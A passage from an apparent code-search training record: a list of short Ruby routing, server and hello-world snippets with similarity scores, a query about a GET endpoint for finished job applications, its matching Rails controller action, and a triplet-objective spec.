"def get(path, &handler)\n route(\"GET\", path, &handler)\n end",
"def root\n get \"/\"\n end",
"def root\n get \"/\"\n end",
"def route\n #TODO\n end",
"def get(path)\n HTTParty.get(\"http://localhost:3000#{path}\")\nend",
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def list\n get('/')\n end",
"def run(req, res)\n # The #run method will figure out what URL was requested, match it to\n # the path regex of one Route object, and finally ask the Route to\n # instantiate the appropriate controller, and call the appropriate method.\n end",
"def open\r\n visit \"/\"\r\n end",
"def info\n get '/'\n end",
"def route\n \"#{@http_verb.to_s.upcase} #{@url}\"\n end",
"def routes(&block); end",
"def routes(&block); end",
"def index\n\t\t\t\"Hello World!\"\n\t\tend",
"def GET; end",
"def route() request.route end",
"def heros\n get('/hero/')\n end",
"def do_GET req, res\n req.path.sub!(/\\A#{Regexp.escape @mount_path}/, '') if @mount_path\n\n case req.path\n when '/' then\n root req, res\n when '/js/darkfish.js', '/js/jquery.js', '/js/search.js',\n %r%^/css/%, %r%^/images/%, %r%^/fonts/% then\n asset :darkfish, req, res\n when '/js/navigation.js', '/js/searcher.js' then\n asset :json_index, req, res\n when '/js/search_index.js' then\n root_search req, res\n else\n show_documentation req, res\n end\n rescue WEBrick::HTTPStatus::NotFound => e\n generator = generator_for RDoc::Store.new\n\n not_found generator, req, res, e.message\n rescue WEBrick::HTTPStatus::Status\n raise\n rescue => e\n error e, req, res\n end",
"def get(path='/')\n `curl -sf http://localhost:3234#{path}`\n end",
"def stack\n # map your apps here...\n map \"/hello\" do\n run HelloWorld.new\n end\n\n map \"/lobster\" do\n require 'rack/lobster'\n use Rack::ShowExceptions\n use Rack::Auth::Basic, \"Lobster 2.0\" do |username, password|\n 'secret' == password\n end\n run Rack::Lobster.new \n end\n\nend",
"def index\n puts \"test/index\"\n ap params\n done 404\n end",
"def get(path, &block)\n # https://www.rubyguides.com/2016/02/ruby-procs-and-lambdas/\n @routes[path] = block\n end",
"def run(req, res)\n end",
"def views_getting_started\n goes_to(\"/content/getting_started\", nil)\n end",
"def route_get_slash\n erb :index, {layout: :application}\nend",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def run(req, res)\n matched_route = match(req)\n if matched_route\n matched_route.run(req, res)\n else\n res.status = 404\n res.write(\"No route matches #{req.fullpath}\")\n end\n end",
"def route (env)\n # http://blog.siami.fr/diving-in-rails-the-request-handling\n # http://jmcglone.com\n # fetch(env)\n 'http://risingstars2016.netlify.com/$1'\n end",
"def run(req, res)\n parse_http_methods!(req)\n matching_route = match(req)\n if matching_route\n matching_route.run(req, res)\n else\n res.status = 404\n res.write \"404 route not found\"\n end\n end",
"def get_ws(path, &block)\n route 'GET', path, &block\n end",
"def default(&block)\n get :default, \"/\", &block\n end",
"def welcome (name)\n\tputs \"Hello #{name}!\"\nend",
"def hellopage\nend",
"def hello\r\n\treturn \"Hello World\"\r\nend",
"def hello_hello_app(code = 200)\n ->(*) { [code, { 'Content-Length' => 11, 'Content-Type' => 'text/html; charset=utf-8' }, ['Hello Hello']] }\nend",
"def hello_world\n puts \"Hello world!\"\n end",
"def run\n make_request(@path)\n end",
"def welcome\n puts \"Hello Everyone!\"\nend",
"def run(req, res)\n #@action = :index\n #@method = :get\n #@pattern = /^\\/users$/\n #@class = DummyController\n \n @params = req.path\n #route_params = @params\n ControllerBase.new(req, res, @params).invoke_action(@method, @pattern, @class, @action)\n end",
"def test_racket_key\n server_run app: ->(env) { [200, {'Racket' => 'Bouncy'}, []] }\n data = send_http_and_read \"GET / HTTP/1.0\\r\\n\\r\\n\"\n\n assert_match(/HTTP\\/1.0 200 OK\\r\\nRacket: Bouncy\\r\\nContent-Length: 0\\r\\n\\r\\n/, data)\n end",
"def get(path, **args); end",
"def homepage\n get '/Pages/Default.aspx'\n end",
"def router; end",
"def hello\n render html: \"We're getting married!\"\n end",
"def run(req, res)\n first_matched_route = match(req)\n\n if first_matched_route\n first_matched_route.run(req, res)\n else\n res.status = 404\n res.write(\"No route matches for #{req.request_method} for #{req.path}\")\n end\n end",
"def http( *args )\n p http_get( *args )\n end",
"def start!(port = 8080)\n $app = HttpApp.new do |app|\n app.torrent_manager = @torrent_manager\n app.tv = TorrentView.new(@torrent_manager)\n end\n Thin::Server.start('127.0.0.1', port) do\n map '/' do\n run $app\n end\n end\n end",
"def route_index; end",
"def route(*args)\n @app.log << \"route #{args.inspect[1..-2]}\"\n @app.route(*args)\nend",
"def main_page\n visit '/'\n end",
"def server(&blk); end",
"def server(&blk); end",
"def get(path)\n request 'GET', path\n end",
"def root; get(\"\"); end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def hello\n render html: \"hello world!\"\n end",
"def app\r\n Sinatra::Application\r\n end",
"def hello_world\n puts \"Hello World\"\nend",
"def doc( path )\n get \"#{path}.html\" do\n password_protected!\n \n endpoint = path.split('/').last\n \n template_path = File.join( VIEW_PATH, \"#{endpoint}.md\" )\n rendered = GitHub::Markup.render( template_path )\n\n erb :layout, :locals => { :content => rendered }\n end\nend",
"def test_fulltable_route\n get('/html/simpletest')\n\n #assertions about what the route we just triggered\n assert last_response.ok?\n assert_equal File.new(\"./results/simpletest.ml\").read, last_response.body\n end",
"def run(req, res, options = {})\n route = match(req)\n if route\n route.run(req, res, options)\n else\n res.status = 404\n res.write(\"page #{req.path} not found\")\n res.finish\n end\n end",
"def run(request, response)\n matching_route = match(request)\n\n if matching_route.nil?\n response.status = 404\n\n response.write(\"Sorry! The requested URL #{request.path} was not not found!\")\n else\n matching_route.run(request, response)\n end\n end",
"def run\n puts \"Hello world\"\n end",
"def greeting\n puts \"Hello World\"\nend",
"def index\n puts 'In index controller'\n end",
"def any(path, &block)\n route 'GET', path, &block\n route 'POST', path, &block\n end",
"def get\n start { |connection| connection.request http :Get }\n end",
"def initialize_server(port)\r\n set :port, port # Specify Port For Sinatra Server\r\n set :bind, \"0.0.0.0\" # Allow Ping From External Devices\r\n set :environment, :production # Allow External Nodes To Query Websocket\r\n set :run, true # Start Sinatra Server\r\nend",
"def greeter\n 'Hello World!'\nend",
"def home(&block)\n check_language!\n route(\"GET\", \"/:lang\", { :skip_i18n => true }, &block)\n end",
"def welcome(name=\"World\")\n\tputs \"Hello #{name}!\"\nend",
"def run(req, res)\n route = match(req)\n if route\n route.run(req, res)\n else\n res.status = 404\n controller = Controller::Base.new(req, res)\n controller.render_content(\"404: Unable to find page '#{req.path}' \", 'text/html')\n end\n end",
"def serve! request, response, client, vhost\n kernel_prepare\n serve request, response, client, vhost\n end",
"def rackup(path); end",
"def serve(argv)\n config_file = nil\n\n parser.banner = \"usage: smeagol-serve [OPTIONS]\\n\"\n\n parser.on('-c', '--config [PATH]', 'Load config file instead of default.') do |path|\n options[:config_file] = path\n end\n\n parser.on('--port [PORT]', 'Bind port (default 4567).') do |port|\n options[:port] = port.to_i\n end\n\n parser.on('--[no-]cache', 'Enables page caching.') do |flag|\n options[:cache] = flag\n end\n\n parser.on('--mount-path', 'Serve website from this base path.') do |path|\n options[:mount_path] = path\n end\n\n parser.on('--auto-update', 'Updates the repository on a daily basis.') do |flag|\n options[:auto_update] = flag\n end\n\n parser.on('--secret [KEY]', 'Specifies the secret key, if needed to update.') do |str|\n options[:secret] = str\n end\n\n Console.serve(*parse(argv))\n end",
"def get(path, options = {}, &block); add :get, path, options, &block end",
"def come\n p 'Welcome Home'\nend",
"def hello_world\n puts \"hello world\"\nend",
"def hello_world\n puts \"hello world\"\nend"
] |
[
"0.6722108",
"0.66266125",
"0.65225244",
"0.6482597",
"0.6461426",
"0.6450689",
"0.6450689",
"0.6450537",
"0.6324784",
"0.6235395",
"0.6235395",
"0.62153983",
"0.6198747",
"0.6183389",
"0.61675143",
"0.6165686",
"0.6136457",
"0.6136457",
"0.61046755",
"0.6087242",
"0.6059779",
"0.6042262",
"0.60314023",
"0.60298866",
"0.60278445",
"0.6010959",
"0.5983702",
"0.59722716",
"0.59653324",
"0.59525174",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.59507376",
"0.5944562",
"0.5941519",
"0.5938783",
"0.5866512",
"0.5852573",
"0.5825506",
"0.58190185",
"0.5813362",
"0.58057135",
"0.5795684",
"0.5792279",
"0.57629466",
"0.57368845",
"0.57318884",
"0.5728468",
"0.5711206",
"0.5704524",
"0.5703685",
"0.5702931",
"0.56875014",
"0.5685977",
"0.568006",
"0.5673959",
"0.565562",
"0.5655561",
"0.5655561",
"0.5650305",
"0.56458086",
"0.56355584",
"0.56355584",
"0.56355584",
"0.56355584",
"0.56355584",
"0.56355584",
"0.56355584",
"0.56355584",
"0.5634068",
"0.5618234",
"0.5604755",
"0.5586421",
"0.5580658",
"0.55778885",
"0.55778176",
"0.557551",
"0.55724716",
"0.5555363",
"0.5550063",
"0.5547998",
"0.55403095",
"0.5538989",
"0.5533309",
"0.55296695",
"0.5529028",
"0.55289054",
"0.55283797",
"0.55197626",
"0.55152327",
"0.5507922",
"0.5502041",
"0.5502041"
] |
0.0
|
-1
|
GET /account/job_applications GET /account/job_applications.json
|
def index
@job_applications = @job_applications_active
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @job_applications = JobApplication.all\n end",
"def index\n @jobapplications = Jobapplication.all\n end",
"def show\n #@job_application = JobApplication.find(params[:id])\n\n #@user = User.find(params[:id])\n @job_application = current_user.job_applications #.page(params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def index\n @user=current_user\n @jobapplications = @user.jobapplications\n end",
"def index\n @job_site_applications = JobSiteApplication.all\n end",
"def applications_list\n get \"applications\"\n end",
"def index\n if current_user.admin?\n @job_applications = JobApplication.all\n else\n @job_applications = JobApplication.where(job: Job.where(user: current_user.company.users))\n end\n @job_applications = @job_applications.where(status: params[:status]) if params[:status].present?\n @job_applications = @job_applications.where(response_status: params[:response_status]) if params[:response_status].present?\n @job_applications = @job_applications.where(job: Job.find(params[:job])) if params[:job].present?\n end",
"def app\n jobs = App.find_by(uid: unsafe_params[:id]).\n app_series.jobs.editable_by(@context).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n end",
"def index\n if current_user.role == 'employee'\n @job_applications_made = current_user.employee.job_applications\n else\n @job_applications = JobApplication.all\n end\n end",
"def index\n jobs = current_user.hr.jobs\n @applications = Array.new\n jobs.each do |job|\n job_faculties_map = Hash.new\n job_faculties_map[job] = Array.new\n if job.faculties.length > 0\n job.faculties.each do |faculty|\n job_faculties_map[job] << faculty\n end\n @applications << job_faculties_map\n end\n end\n @applications\n end",
"def show\n @application = Application.find(params[:id])\n \n if @application.nil? or @application.job.nil?\n redirect_to \"/\", :alert=>\"You do not have access to this page\"\n return false\n end\n\n return unless appAccess?(@application.job.id)\n\n @job = @application.job\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def index\n @job_applications = JobApplication.for_status params[:status_type]\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n @job_application.user_id = current_user.id\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getApplications(ak)\n uri='https://api.newrelic.com/v2/applications.json'\n parseUrl=URI.parse(uri)\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def index\n @jobs = Job.all\n if current_role == :admin\n @applications = Application.all\n elsif current_role == :recruiter\n @applications = Application.all.select{|n| @jobs.exists?(n.job_id) && @jobs.find(n.job_id).company_id == current_user.company_id}\n else\n @applications = Application.all.select{|n| n.user_id==current_user.id}\n end\n end",
"def index\n if current_user.is_admin\n @applications = Application.all\n puts @applications\n elsif current_user.is_seeker\n @applications = Application.where(jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id)\n elsif current_user.is_biz\n @applications = Application.where(job_id: Job.where(bizowner_id: Bizowner.find_by(user_id: current_user.id).id))\n end\n end",
"def index\n @jobapps = Jobapp.all\n @jobapp = Jobapp.new\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def get_applications_of_user\n respond_to do |format|\n format.json {\n @project_applications = ProjectApplication.where(:user_id => @current_user.id)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_applications(client)\n client.applications.each do |application|\n puts \"Application: #{application.name}\"\n puts \" Description: #{application.description}\"\n puts \" Status: #{application.status}\"\n puts \" Href: #{application.href}\"\n end \nend",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def set_jobapp\n @jobapp = Jobapp.find(params[:id])\n end",
"def get_applications\n http_get_request(Scalarium.applications_url)\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def get_applist\n return get_response(\"applist\", :json)\n end",
"def get_applications_of_project\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:project_id => Project.find_by_id(param[:id]))\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n @other_job_applications = @job_application.user.job_applications.where.not(id: @job_application.id)\n render layout: request.xhr? ? false : \"admin/simple\"\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def index # testing purposes only\n applications = Application.includes(:user).all\n\n render json: applications\n end",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_applications\n\t\tApplication.where(\"api_user_id = ?\", id)\n\tend",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def show\n \n @job = Job.find(params[:id])\n @application = Application.find(:first,:conditions=>['job_id=? and user_id=?',@job.id,current_user.id]) \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def find_kapp_webhook_jobs(kapp_slug, params={}, headers=default_headers)\n @logger.info(\"Finding webhook jobs in the \\\"#{kapp_slug}\\\" Kapp\")\n get(\"#{@api_url}/kapps/#{kapp_slug}/webhookJobs\", params, headers)\n end",
"def show\n @job_applications = @job_offer.job_applications.group_by(&:state)\n end",
"def create\n @job_application = JobApplication.new(params[:job_application])\n @users = User.find :all\n @job_postings = JobPosting.find :all\n \n respond_to do |format|\n if @job_application.save\n flash[:notice] = 'JobApplication was successfully created.'\n format.html { redirect_to(@job_application) }\n format.xml { render :xml => @job_application, :status => :created, :location => @job_application }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job_application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def applications(options = {})\n @applications = api.get_applist if !@applications\n @applications\n end",
"def jobapplication_params\n params.require(:jobapplication).permit(:job_id, :jobseeker_id, :coverletter, :status)\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @applicant_jobs = ApplicantJob.all\n end",
"def new\n #@job = Job.find(params[:job_id])\n @jobapps = @job.jobapps\n @jobapp = @jobapps.new\n #@jobapp.user = current_user\n #@user = current_user\n #@jobapp.user.update_attributes(params[:user])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobapp }\n end\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def job_application_params\n params.require(\n :job_application\n ).permit(\n :resume,\n :job_ad_id,\n :job_seeker_id,\n :recruiter_id\n )\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def applications(params = {}) # rubocop:disable Style/OptionHash\n page_limit = params.delete(:page_limit) { 1 }\n\n applications_array = []\n 1.upto page_limit do |i|\n response = request_applications(params.merge(page: i))\n applications_array += response[\"applications\"]\n break if response[\"paginationComplete\"]\n end\n applications_array\n end",
"def index\n respond_with @applications = Application.all\n end",
"def index\n $lmc_left_menu = \"lmw_all_jobs\"\n $lmc_subleft_menu = \"lmw_job_applications\"\n @user = current_user\n @job_applications_ids = current_user.job_applications.pluck(:job_id)\n @job_applications = Job.where(id: @job_applications_ids).text_search(params[:query], params[:town], params[:status])\n end",
"def index\n @user_apps = UserApp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_apps }\n end\n end",
"def index \n @jobs = Job.all.find_all{ |job| job.user_id == current_user.user_id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def list_applications(workspace_id)\n # check and reauthenticate\n self.isTokenExpired()\n\n results = []\n url = @api_url + \"/api/workspaces/#{workspace_id}/applications\"\n headers = {:accept => :json, :authorization => \"bearer #{@access_token}\"}\n\n RestClient.proxy = @proxy\n\n begin\n r = RestClient.get url, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n applications = JSON.parse(r.body)['data']\n #application_count = JSON.parse(r.body)['TotalResults']\n\n #puts \"applications dump is #{JSON.pretty_generate(applications)}\\napplication count is #{application_count}\"\n\n applications.each do |application|\n results.push(application)\n end\n return results\n end",
"def application(job,params={})\n if (@application[extract_job(job)] && !params[:force])\n return @application[extract_job(job)]\n end\n @application[extract_job(job)] = get_application(job)\n end",
"def new\n @job_application = JobApplication.new\n @users = User.find :all\n @job_postings = JobPosting.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def create\n @job = Job.find(params[:job_id])\n @application = Application.new(application_params)\n @application.job = @job\n @application.user = current_user\n\n if @application.save\n redirect_to developers_applications_path\n else\n redirect_to job_path(@job)\n end\n end",
"def jobapplication_params\n params.require(:jobapplication).permit(:name, :email, :job_name, :phone, :status, :user_id, :job_id, :coverletter, :major)\n end",
"def show\n # @applicant_job_history = ApplicantJobHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applicant_job_history }\n end\n end",
"def applications\n get(PLURAL_PATH, RESOURCE)\n end",
"def create\n @jobapp = Jobapp.new(jobapp_params)\n\n if @jobapp.save\n flash[:success] = \"Jobapp was successfully created.\"\n redirect_to action: \"index\"\n else\n @jobapps = Jobapp.all\n\n render :new, locals: {jobapp: @jobapp,jobapps: @jobapps}\n end\n end",
"def create\n @application = Application.new(application_params)\n # @application.job_id = params[:id]\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def application_params\n params.fetch(:application, {}).permit(:job_id)\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @job_applications = JobApplication.all\n @posts = Post.all\n end",
"def create\n if current_user.job_applications.where(job_id: params[:job_application][:job_id]).count > 0\n respond_to do |format|\n format.html { redirect_to worker_all_jobs_path, notice: t('job_applications_controller.job_applications_create_error') }\n end\n else\n @job_application = current_user.job_applications.new(job_application_params)\n #Create EQ Answers\n if params.has_key?(\"answer\")\n Answer.create(eq_answer_params(params[\"answer\"]))\n else\n params[\"answers\"].each do |answer|\n Answer.create(eq_answer_params(answer))\n end\n end\n #Create EQ Answers end\n respond_to do |format|\n if @job_application.save\n @job = @job_application.job\n @job_owner = @job_application.job.users.first\n @applicant = current_user\n UserMailer.new_job_applicant_email(@job, @job_owner, @applicant ).deliver_now\n format.html { redirect_to worker_all_jobs_path, notice: t('job_applications_controller.job_applications_create_success') }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end",
"def index\n @client_applications = ClientApplication.all\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def listjobs(project=self.project)\n get('listjobs.json', project: project).reject{|k,v| k=='status'}\n end",
"def show\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_item }\n end\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_for_api :checkins_with_job, json: @job, root: :job }\n end\n end",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n add_breadcrumb @job_application, @job_application\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"def index\n if current_user.admin\n @planning_applications = PlanningApplication.all\n else\n @planning_applications = current_user.planning_applications\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @planning_applications }\n end\n end",
"def show\n @vacancy = Vacancy.find(params[:id])\n @new = JobApplication.where(state: \"send\", vacancy_id: @vacancy.id).includes(:user)\n @forwarded = JobApplication.where(state: \"manager_review\", vacancy_id: @vacancy.id).includes(:user)\n @reviewed = JobApplication.where(state: \"manager_review_listed\", vacancy_id: @vacancy.id).includes(:user)\n @employed = JobApplication.where(state: \"employed\", vacancy_id: @vacancy.id).includes(:user)\n @rejected = JobApplication.where(state: \"rejected\", vacancy_id: @vacancy.id).includes(:user)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def index\n render json: {:jobs => Job.where('branch_id = ?', current_user.branch_id).order(id: :desc),\n :branch_id => current_user.branch_id }\n end",
"def set_job_application\n @job_application = current_user.job_applications.find(params[:job_application_id] || params[:id])\n @job_offer = @job_application.job_offer\n end",
"def jobfamily\n @jobfamilies = @company.jobfamilies\n respond_to do |format|\n format.json { render json: @jobfamilies}\n end\n end",
"def index\n do_authorize_class(:index, AnalysisJobsItem)\n do_get_opts\n\n do_get_analysis_job\n @analysis_jobs_items, opts = Settings.api_response.response_advanced(\n api_filter_params,\n get_query,\n AnalysisJobsItem,\n AnalysisJobsItem.filter_settings(@is_system_job)\n )\n\n show_items_as_results(request.head?, @analysis_jobs_items, opts)\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bizowners_reviews = BizownersReview.all\n @bizowner = Bizowner.find_by(user_id: current_user.id)\n @job = Job.where(bizowner_id: @bizowner.id)\n @all_my_applications= Application.where(job_id: @job.ids)\n @applications = @all_my_applications.where(status: \"Approved\")\n end"
] |
[
"0.7510918",
"0.7492585",
"0.7164594",
"0.71217585",
"0.7111424",
"0.7080946",
"0.7066626",
"0.70239973",
"0.6958211",
"0.68008006",
"0.67743784",
"0.6687146",
"0.66050124",
"0.65842485",
"0.65577096",
"0.6515239",
"0.6508788",
"0.6481662",
"0.6473773",
"0.6473773",
"0.6468666",
"0.6449253",
"0.643953",
"0.63934845",
"0.63844955",
"0.6362154",
"0.635586",
"0.6345436",
"0.6343701",
"0.6338935",
"0.6338935",
"0.6338935",
"0.6338935",
"0.6338935",
"0.6338935",
"0.6338935",
"0.63256276",
"0.6318269",
"0.6318269",
"0.6308793",
"0.6303251",
"0.6294159",
"0.62501764",
"0.6231524",
"0.6231209",
"0.6230393",
"0.6228048",
"0.62241006",
"0.6206183",
"0.61760634",
"0.61683005",
"0.61653376",
"0.6148593",
"0.61477387",
"0.6144829",
"0.6141973",
"0.6133223",
"0.61224186",
"0.61192507",
"0.6118764",
"0.61099195",
"0.6108203",
"0.6105965",
"0.60992146",
"0.609237",
"0.60900325",
"0.6085721",
"0.60844666",
"0.6079735",
"0.60671175",
"0.60668015",
"0.6066622",
"0.6061568",
"0.6054617",
"0.60536397",
"0.6051212",
"0.6041661",
"0.60263586",
"0.6022836",
"0.6017288",
"0.6017288",
"0.6014365",
"0.60058916",
"0.5999349",
"0.5985695",
"0.59685916",
"0.59654844",
"0.59644544",
"0.5935948",
"0.5915523",
"0.59145397",
"0.5913591",
"0.5903497",
"0.5902424",
"0.590069",
"0.5892831",
"0.5882496",
"0.5881827",
"0.5878019",
"0.5871328"
] |
0.7212989
|
2
|
GET /account/job_applications/finished GET /account/job_applications/finished.json
|
def finished
@job_applications = @job_applications_finished
render action: :index
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
